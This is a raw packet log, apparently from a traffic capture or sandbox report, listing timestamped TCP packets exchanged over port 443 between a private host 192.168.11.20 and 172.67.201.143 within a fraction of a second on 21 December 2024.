Dec 21, 2024 19:23:05.640928984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.641068935 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.641474009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.641484022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.641722918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.641729116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.641787052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.641941071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.641971111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.641980886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.642214060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.642221928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.642318964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.642436028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.642627001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.642638922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.642837048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.642961979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.642968893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.643165112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.643510103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.643522024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.643697023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.643702984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.643815041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.643934011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.644171953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.644184113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.644412041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.644418001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.644510031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.644620895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.644824028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.644834995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.645081997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.645087957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.645114899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.645143986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.645148993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.645271063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.645276070 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.645375967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.645440102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.646286964 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.646298885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.646521091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.646528006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.646627903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.646728992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.646905899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.646918058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647078037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.647155046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.647160053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647368908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647382021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647391081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.647397041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647612095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.647699118 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.647876024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.647885084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.648119926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.648125887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.648185968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.648350000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.648668051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.648680925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.648844957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.648947001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.648952961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.649154902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.649429083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.649441004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.649597883 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.649703979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.649709940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.649904013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650003910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650013924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650228977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650237083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650315046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650456905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650501013 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650511026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650738955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650744915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.650832891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.650940895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.651529074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.651540995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.651714087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.651772022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.651777983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.651890993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.651990891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652003050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652014017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652251959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652259111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652394056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652534962 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652581930 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652591944 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652755976 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652833939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.652839899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.652925968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.653044939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.653129101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.653137922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.653281927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.653384924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.653389931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.653616905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.653932095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.653944016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.654108047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.654166937 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.654171944 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.654264927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.654419899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.654539108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.654551029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.654789925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.654797077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.654869080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.655023098 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.655025005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.655030966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.655244112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.655529022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.655539036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.655709028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.655801058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.655806065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.655864954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.656018972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.656424999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.656436920 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.656671047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.656677961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.656775951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.656800032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.656812906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.656893015 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.656898022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.657006979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.657130003 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.657440901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.657450914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.657620907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.657753944 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.657757998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658011913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658027887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658037901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.658044100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658231974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.658338070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.658735037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658746004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.658910990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.658982992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.658987999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.659080029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.659218073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.659226894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.659236908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.659454107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.659459114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.659535885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.659676075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.660001040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.660012007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.660248041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.660254002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.660351038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.660490990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.660825014 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.660835981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.660974979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661052942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661056995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.661145926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661289930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661587000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.661598921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.661719084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661797047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.661801100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.661899090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662026882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662055016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.662065029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.662209988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662313938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662317038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.662378073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662520885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662556887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.662566900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.662729979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662836075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.662839890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.663093090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.663290977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.663304090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.663444996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.663522005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.663526058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.663615942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.663746119 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.663953066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.663964033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.664110899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.664186001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.664191008 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.664277077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.664422035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.664767027 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.664777040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.664982080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.664985895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665085077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665211916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665302038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665313959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665446997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665524006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665528059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665631056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665757895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.665802956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665812969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.665966988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666083097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666086912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.666323900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666508913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.666518927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.666647911 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666733027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666737080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.666826963 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.666970968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667242050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.667252064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.667397022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667476892 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667480946 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.667567968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667711020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667733908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.667743921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.667958975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.667962074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668050051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668176889 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668288946 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668302059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668488979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668493032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668565989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668710947 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668760061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668888092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.668904066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668994904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.668998003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669090033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.669162989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.669281960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669294119 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669542074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.669547081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669738054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669749022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669827938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.669831991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.669930935 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.670034885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.670243025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.670253992 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.670403004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.670556068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.670561075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.670804977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.672548056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.672559977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.672996044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.672996044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.673002005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.673043013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.673157930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.674187899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.674197912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.674407005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.674413919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.674494982 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.674624920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.675746918 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.675760031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.675899029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.675978899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.675982952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.676083088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.676701069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.680362940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.680375099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.680514097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.680592060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.680596113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.680685043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.680814028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.681179047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.681195021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.681333065 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.681411028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.681413889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.681504965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.681644917 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.682250977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.682262897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.682431936 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.682436943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.682528973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.682672024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.682784081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.682796001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.682945013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.683048964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.683053017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.683244944 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.683332920 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.683345079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.683505058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.683507919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.683608055 CET	49743	443	192.168.11.20	172.67.201.143
